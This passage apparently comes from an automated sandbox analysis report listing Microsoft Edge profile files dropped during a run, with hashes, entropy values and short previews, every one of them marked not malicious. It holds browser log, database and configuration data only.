MD5:	B89573F03D04756C7788B9A3741E4E5B
SHA1:	1F7C5497B7CA3D33B12DB9B47C5943724D74F8EC
SHA-256:	4253AF4CF8B9196E38CF0E458614374465BF9E8D50DD5F688A8000E4A9817F47
SHA-512:	54FD5FEB3B1A49068B756CB97AAAC8C76043AC9C23D0E4E1143AC996EDE758401A31BBCDC58FB315B26F5385A9E03C9C1882C1088614CC315667D8707E4E7BBB
Malicious:	false
Preview:	2024/11/28-06:49:46.839 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/28-06:49:46.840 f4c Recovering log #3.2024/11/28-06:49:46.841 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	351
Entropy (8bit):	5.2349318589679585
Encrypted:	false
SSDEEP:	6:HM6s+q2PcNwi23oH+TcwtnG2tMsIFUt8YMBXZmw+YM43VkwOcNwi23oH+TcwtnGg:sd+vLZYebn9GFUt8BBX/+B43V54ZYebB
MD5:	B89573F03D04756C7788B9A3741E4E5B
SHA1:	1F7C5497B7CA3D33B12DB9B47C5943724D74F8EC
SHA-256:	4253AF4CF8B9196E38CF0E458614374465BF9E8D50DD5F688A8000E4A9817F47
SHA-512:	54FD5FEB3B1A49068B756CB97AAAC8C76043AC9C23D0E4E1143AC996EDE758401A31BBCDC58FB315B26F5385A9E03C9C1882C1088614CC315667D8707E4E7BBB
Malicious:	false
Preview:	2024/11/28-06:49:46.839 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/28-06:49:46.840 f4c Recovering log #3.2024/11/28-06:49:46.841 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6129093576796072
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+j9j+3pbLj2MmL:TO8D4jJ/6Up+66
MD5:	2EC95044A3819A89A4A581D0F0724C85
SHA1:	B69CDB6E7217D471D7E4E801F2299DBACDDB9A48
SHA-256:	063D62D0B14989F9840788E8430067875913AD956C0459122D453B01488678C6
SHA-512:	2E09A5BB5E74EFD82E40D2BB956354A1C1E1EF1E87C414090B2CA1EAB35174C9AEBA7476B0AB468930AB9FDF86BD453D7B71B9662C1380B5D24A5EC6EC1519CB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354136354664474
Encrypted:	false
SSDEEP:	6144:4A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:4FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	2A5026FE9B849158D547D5474AC20968
SHA1:	6DB880D3208298A6651BEBAB95EE5858B177901C
SHA-256:	969F03568C23D8B6EB840E24085114DA541AC75E702C767F1F84B9A77929D703
SHA-512:	C8493395E40D83C9B9F29C5631A156C599C6E9CF64DA5754B49A84583D4981DC066AEE8AF66CDDDE8DD537AA77FA5EFA98D8E75E78E2EDE2FA7E37FA7A91BB12
Malicious:	false
Preview:	...m.................DB_VERSION.1.h..q...............&QUERY_TIMESTAMP:domains_config_gz2...13377268195248603..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	317
Entropy (8bit):	5.188031331005093
Encrypted:	false
SSDEEP:	6:HMG63B1cNwi23oH+Tcwtk2WwnvB2KLlVMAKkN+q2PcNwi23oH+Tcwtk2WwnvIFUv:snZYebkxwnvFLk4N+vLZYebkxwnQFUv
MD5:	AC6F7DA0E4E0E3EFEB58FF3EEEE70177
SHA1:	76742E57C77E7CA3A1C14C475997CDF096FB3DAA
SHA-256:	4A6DF598AD4A7107BF5E20256C1E5FAD2A8F58786AA421E915DF163DDE5CD7CC
SHA-512:	CAF814D6F25AF304F21B293D9FFA8A6B8B7B090032F444445659A8278C4696349BCEAFD495575440A895321B9D0B871FF0CFFC59D9BFE27D068D78C50B241EB7
Malicious:	false
Preview:	2024/11/28-06:49:52.504 200c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/28-06:49:53.063 200c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.32461674792611
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RY:C1gAg1zfvA
MD5:	35EE3C7BE6392114F84C4F73F34CEAC3
SHA1:	9DD3E542AC1AF1BA309349128A469885B84725B2
SHA-256:	CCAECAE571572A570DC9D912FC80FCA43C9AD659A5536C54EE42AAAE0F44F556
SHA-512:	5ED929131A8DD680FF33F3EC5592206B9415A3CAF54ED273A2BEEA99B56A67722467237430719D116A0E3D507BB1180FC376D82797701030BD7C4C2DDE001321
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.264750415239847
Encrypted:	false
SSDEEP:	6:HMFhL+q2PcNwi23oH+Tcwt8aPrqIFUt8YMsJ/KWZmw+YMsJpLVkwOcNwi23oH+Ts:sFhL+vLZYebL3FUt8BaCW/+BapLV54ZE
MD5:	C60D1B926CD9BF5194CE70F0AC63F65B
SHA1:	E518F3D159165C6379FF1A2165FD14E09839BE9F
SHA-256:	F0D22A6316D110BBEE2E275256DE498603EFA2C122DD24EEEFB57EEF6361158A
SHA-512:	717E9D97AD6A3B4DBFB8AB8F848C0019352C402BCBF7758D9C9799D255719D7E1D79E79E8C75CDD0935A6C6477B5B5C176576315550E7EF2C2F146C5BE453F1D
Malicious:	false
Preview:	2024/11/28-06:49:46.856 15cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/28-06:49:46.857 15cc Recovering log #3.2024/11/28-06:49:46.857 15cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.264750415239847
Encrypted:	false
SSDEEP:	6:HMFhL+q2PcNwi23oH+Tcwt8aPrqIFUt8YMsJ/KWZmw+YMsJpLVkwOcNwi23oH+Ts:sFhL+vLZYebL3FUt8BaCW/+BapLV54ZE
MD5:	C60D1B926CD9BF5194CE70F0AC63F65B
SHA1:	E518F3D159165C6379FF1A2165FD14E09839BE9F
SHA-256:	F0D22A6316D110BBEE2E275256DE498603EFA2C122DD24EEEFB57EEF6361158A
SHA-512:	717E9D97AD6A3B4DBFB8AB8F848C0019352C402BCBF7758D9C9799D255719D7E1D79E79E8C75CDD0935A6C6477B5B5C176576315550E7EF2C2F146C5BE453F1D
Malicious:	false
Preview:	2024/11/28-06:49:46.856 15cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/28-06:49:46.857 15cc Recovering log #3.2024/11/28-06:49:46.857 15cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.2351848217823616
Encrypted:	false
SSDEEP:	6:HM13L+q2PcNwi23oH+Tcwt865IFUt8YMGKWZmw+YMQLVkwOcNwi23oH+Tcwt86+e:sRL+vLZYeb/WFUt8BdW/+BQLV54ZYebD
MD5:	51F6FABC2404CCF78B76A8B9DD44E442
SHA1:	252344D2E0B094890D918FD5B1D4AABC0DE65F89
SHA-256:	BBE25BCFC9F67B9BCC7E0DC1350E3BED9EF2CECDEE2A39B1B0C39DFCF71DB712
SHA-512:	08CB02470FBD662E2A408BA0A7C394878FD1F2D0E843357606B355B5DE96AAC317D1EB47116BF1E55AB05DCDC103FF988156717B0A1AAE23CAEDA416547A8A26
Malicious:	false
Preview:	2024/11/28-06:49:46.861 15cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/28-06:49:46.862 15cc Recovering log #3.2024/11/28-06:49:46.862 15cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.2351848217823616
Encrypted:	false
SSDEEP:	6:HM13L+q2PcNwi23oH+Tcwt865IFUt8YMGKWZmw+YMQLVkwOcNwi23oH+Tcwt86+e:sRL+vLZYeb/WFUt8BdW/+BQLV54ZYebD
MD5:	51F6FABC2404CCF78B76A8B9DD44E442
SHA1:	252344D2E0B094890D918FD5B1D4AABC0DE65F89
SHA-256:	BBE25BCFC9F67B9BCC7E0DC1350E3BED9EF2CECDEE2A39B1B0C39DFCF71DB712
SHA-512:	08CB02470FBD662E2A408BA0A7C394878FD1F2D0E843357606B355B5DE96AAC317D1EB47116BF1E55AB05DCDC103FF988156717B0A1AAE23CAEDA416547A8A26
Malicious:	false
Preview:	2024/11/28-06:49:46.861 15cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/28-06:49:46.862 15cc Recovering log #3.2024/11/28-06:49:46.862 15cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.259672274994723
Encrypted:	false
SSDEEP:	6:HMb7L+q2PcNwi23oH+Tcwt8NIFUt8YMbbKWZmw+YMbNLVkwOcNwi23oH+Tcwt8+Q:sHL+vLZYebpFUt8ByW/+BZLV54ZYebqJ
MD5:	B692362507829088F07178F4A77F9EA2
SHA1:	631844A72307C67C37A7C8511B0F41DD46497221
SHA-256:	3A08B793F50BC5E19680376E0D94E1D47C83FCE0343D4A8EA3612C6DBC3F3A0D
SHA-512:	D2AC7F0548CDA105A81B9D11BA6F005F55F1BFB36FC51DF88C964E9F928F2E0415AA164B61887433A800EF0D873EFF5F7EFA1261D196CB4A84737FE2BB5F05CD
Malicious:	false
Preview:	2024/11/28-06:49:47.761 15cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/28-06:49:47.763 15cc Recovering log #3.2024/11/28-06:49:47.763 15cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.259672274994723
Encrypted:	false
SSDEEP:	6:HMb7L+q2PcNwi23oH+Tcwt8NIFUt8YMbbKWZmw+YMbNLVkwOcNwi23oH+Tcwt8+Q:sHL+vLZYebpFUt8ByW/+BZLV54ZYebqJ
MD5:	B692362507829088F07178F4A77F9EA2
SHA1:	631844A72307C67C37A7C8511B0F41DD46497221
SHA-256:	3A08B793F50BC5E19680376E0D94E1D47C83FCE0343D4A8EA3612C6DBC3F3A0D
SHA-512:	D2AC7F0548CDA105A81B9D11BA6F005F55F1BFB36FC51DF88C964E9F928F2E0415AA164B61887433A800EF0D873EFF5F7EFA1261D196CB4A84737FE2BB5F05CD
Malicious:	false
Preview:	2024/11/28-06:49:47.761 15cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/28-06:49:47.763 15cc Recovering log #3.2024/11/28-06:49:47.763 15cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:+J/ljtFlljq7A/mhWJFuQ3yy7IOWUS/4dweytllrE9SFcTp4AGbNCV9RUIx:SI75fO04d0Xi99pEYb
MD5:	14EA62FC11923FC21A89BBD496C25BA4
SHA1:	24B1B18D146809818899B263CCDD4A3A469A1524
SHA-256:	94B19B9A262BC014A907C749B784A582FD0D5570E983E6087B60D9365C492443
SHA-512:	2CC5C12C3D1CF2CF87E25CE36A8C50000AB515E1CB071BB0308225897837974F0303F392ACEF44B7F24069CAC177EDB824DE646891CF3A3EB742701356F3257C
Malicious:	false
Preview:	.................&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.273382148405261
Encrypted:	false
SSDEEP:	12:sCmL+vLZYeb8rcHEZrELFUt8BC/W/+BCzLV54ZYeb8rcHEZrEZSJ:lblYeb8nZrExg800HoYeb8nZrEZe
MD5:	C1C4E426261D71ACBA74B4814F6AD400
SHA1:	879179FC60DE21BC0EA8B19E348FFA6C881F446A
SHA-256:	22FAFE92A56A3F65207D812EF94DBD92902C417B15D2993F83D6EC037ECF2E75
SHA-512:	84B54A1978E8D248BFEFBE19EC12E46F6E2C0E2BB09F38E467F8595EE705DFC3831218575A27918B1F93339D21B4F0B896F5D3CF82DEF93B5E76B20B9691E2A8
Malicious:	false
Preview:	2024/11/28-06:49:51.201 15cc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/28-06:49:51.201 15cc Recovering log #3.2024/11/28-06:49:51.202 15cc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
